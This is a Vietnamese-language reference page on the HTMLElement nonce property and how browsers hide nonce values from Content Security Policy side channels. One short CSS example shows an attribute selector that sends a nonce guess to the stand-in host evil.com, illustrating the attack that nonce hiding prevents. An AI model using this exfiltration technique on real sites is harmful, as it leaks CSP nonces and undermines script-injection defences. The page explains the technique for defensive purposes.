HTMLElement: thuộc tính nonce

Baseline Widely available

This feature is well established and works across many devices and browser versions. It’s been available across browsers since March 2022.

Thuộc tính nonce của giao diện HTMLElement trả về số mật mã dùng một lần được Chính sách bảo mật nội dung sử dụng để xác định xem một lần tải có được phép tiến hành hay không.

Trong các triển khai mới hơn, các phần tử chỉ hiển thị thuộc tính nonce của mình cho các tập lệnh (không phải cho các kênh phụ như bộ chọn thuộc tính CSS).

Ví dụ

Lấy giá trị nonce

Trước đây, không phải tất cả các trình duyệt đều hỗ trợ thuộc tính IDL nonce, vì vậy có thể dùng getAttribute như một phương án dự phòng:

js
let nonce = script["nonce"] || script.getAttribute("nonce");

Tuy nhiên, các phiên bản trình duyệt gần đây ẩn các giá trị nonce được truy cập theo cách này (sẽ trả về chuỗi rỗng). Thuộc tính IDL (script['nonce']) sẽ là cách duy nhất để truy cập nonce.

Việc ẩn nonce giúp ngăn kẻ tấn công lấy cắp dữ liệu nonce thông qua các cơ chế có thể lấy dữ liệu từ các thuộc tính nội dung như bộ chọn CSS này:

css
script[nonce~="whatever"] {
  background: url("https://evil.com/nonce?whatever");
}

Thông số kỹ thuật

Thông số kỹ thuật
HTML
# dom-noncedelement-nonce

Tương thích trình duyệt

Xem thêm